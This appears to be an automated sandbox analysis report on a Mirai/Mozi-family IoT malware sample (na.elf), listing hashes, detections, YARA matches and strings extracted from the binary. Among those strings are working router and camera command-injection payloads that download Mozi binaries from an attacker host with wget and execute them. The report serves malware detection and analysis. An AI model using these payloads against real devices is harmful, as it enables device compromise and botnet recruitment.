Linux Analysis Report
na.elf

Overview

General Information

Sample name: na.elf
Analysis ID: 1532418
MD5: 7b61d204b1a02968237b9e817e79aead
SHA1: 403f0e100a9bc9cf520c045008cf03ca552cceef
SHA256: 3ba495d4fe7fbed339ae6852cddd60c878f6545bfec31254d536526a64b9bf56
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample is packed with UPX
ELF contains segments with high entropy indicating compressed/encrypted content
Sample contains only a LOAD segment without any section mappings
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
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Antivirus / Scanner detection for submitted sample
Source: na.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: na.elf ReversingLabs: Detection: 60%
Source: na.elf Virustotal: Detection: 67% Perma Link
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: na.elf String found in binary or memory: http://%s:%d/Mozi.a;chmod
Source: na.elf String found in binary or memory: http://%s:%d/Mozi.a;sh$
Source: na.elf String found in binary or memory: http://%s:%d/Mozi.m
Source: na.elf String found in binary or memory: http://%s:%d/Mozi.m;
Source: na.elf String found in binary or memory: http://%s:%d/Mozi.m;$
Source: na.elf String found in binary or memory: http://%s:%d/Mozi.m;/tmp/Mozi.m
Source: na.elf String found in binary or memory: http://purenetworks.com/HNAP1/
Source: na.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: na.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: na.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
Source: na.elf String found in binary or memory: http://upx.sf.net

System Summary
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Malicious sample detected (through community Yara rule)
Source: na.elf, type: SAMPLE Matched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
Source: 5852.1.00007f8ba4400000.00007f8ba4422000.r-x.sdmp, type: MEMORY Matched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
Sample contains only a LOAD segment without any section mappings
Source: LOAD without section mappings Program segment: 0x400000
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s:%d -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
Sample contains strings that are potentially command strings
Source: Initial sample Potential command found: GET /Mozi.7 HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.c HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.m HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.x HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.a HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.s HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.r HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.b HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.4 HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.k HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.l HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.p HTTP/1.0
Source: Initial sample Potential command found: GET /%s HTTP/1.1
Source: Initial sample Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
Source: Initial sample Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
Source: Initial sample Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
Yara signature match
Source: na.elf, type: SAMPLE Matched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
Source: 5852.1.00007f8ba4400000.00007f8ba4422000.r-x.sdmp, type: MEMORY Matched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
Source: classification engine Classification label: mal92.troj.evad.linELF@0/0@2/0

Data Obfuscation
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Sample is packed with UPX
Source: initial sample String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample String containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
ELF contains segments with high entropy indicating compressed/encrypted content
Source: na.elf Submission file: segment LOAD with 7.8156 entropy (max. 8.0)
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/na.elf (PID: 5852) Queries kernel information via 'uname': Jump to behavior
Source: na.elf, 5852.1.00007ffe8bc94000.00007ffe8bcb5000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf
Source: na.elf, 5852.1.000055575f993000.000055575fa1a000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: na.elf, 5852.1.000055575f993000.000055575fa1a000.rw-.sdmp Binary or memory string: _WU!/etc/qemu-binfmt/mips
Source: na.elf, 5852.1.00007ffe8bc94000.00007ffe8bcb5000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
Source: na.elf, 5852.1.00007ffe8bc94000.00007ffe8bcb5000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped

Stealing of Sensitive Information
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Yara detected Mirai
Source: Yara match File source: na.elf, type: SAMPLE

Remote Access Functionality
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Yara detected Mirai
Source: Yara match File source: na.elf, type: SAMPLE

No Screenshots

⊘No contacted IP infos

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true